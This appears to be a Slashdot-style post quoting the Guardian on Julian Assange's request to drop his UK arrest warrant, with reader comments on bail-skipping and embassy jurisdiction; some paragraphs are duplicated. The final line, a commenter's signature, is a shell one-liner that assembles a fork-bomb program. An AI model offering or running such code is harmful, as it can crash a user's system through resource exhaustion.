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WikiLeaks' Julian Assange Asks UK Judge to Drop His Arrest Warrant (theguardian.com)
An anonymous reader quotes the Guardian:
WikiLeaks founder, Julian Assange, has asked a UK court to drop the arrest warrant that prevents him from leaving the Ecuadorian embassy in London, where he has been living for five and a half years. Assange, 46, skipped bail to enter the embassy in 2012 in order to avoid extradition to Sweden over allegations of sexual assault and rape, which he denies... Mark Summers QC told senior district judge Emma Arbuthnot at Westminster magistrates court on Friday that now that the Swedish case had been dropped the warrant had "lost its purpose and its function". He said because Swedish extradition proceedings against Assange had come to an end, so had the life of the arrest warrant... Arbuthnot said she would give her judgment about the arrest warrant on 6 February.
Judge Arbuthnot said she'd rule only on the legal issue, though the court had also received evidence about medical problems which included "a terrible bad tooth, frozen shoulder and depression."
Representing the Crown Prosecution Service, Aaron Watkins it would be absurd for defendants to be "rewarded with effective immunity" simply for having evaded proceedings for long enough.
Judge Arbuthnot said she'd rule only on the legal issue, though the court had also received evidence about medical problems which included "a terrible bad tooth, frozen shoulder and depression."
Representing the Crown Prosecution Service, Aaron Watkins it would be absurd for defendants to be "rewarded with effective immunity" simply for having evaded proceedings for long enough.
He skipped bail, that is what the arrest warrant is for in the UK. It is nothing to do with extradition, it is nothing to do with the now discontinued EAW.
I only please one person per day. Today is not your day. Tomorrow isn't looking good either. - Scott Adams
to be fair the charges against him were a thinly veiled attempt to extradite him to the US. It has very little to do about breaking the law.
The UK arrest warrant has nothing to do with the European Arrest Warrant. The UK one is for skipping bail. It doesn't matter whether or not the Swedish government is still pursuing him, he has committed a crime in the UK which is an arrestable offence regardless of his innocence of the charge he was facing.
I only please one person per day. Today is not your day. Tomorrow isn't looking good either. - Scott Adams
Oh I agree. My point is that people saying he 'was in Ecuador' are wrong. He was in the UK. I actually thought embassies were the territory of the country who run them but it turns out that is not the case
The UK can't easily[1] arrest him in the Ecuadorian embassy but he's still in the UK.
And he skipped bail, which is illegal. So if he came out he'd be immediately arrested.
[1] There are various ways it could arrest him, but they probably mean severing diplomatic relations with Ecuador which the UK government in unwilling to do. In practice unless the embassy is closed and all the diplomats expelled he's probably safe from arrest. However accepting that is not the same as accepting that he can leave without being arrested.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;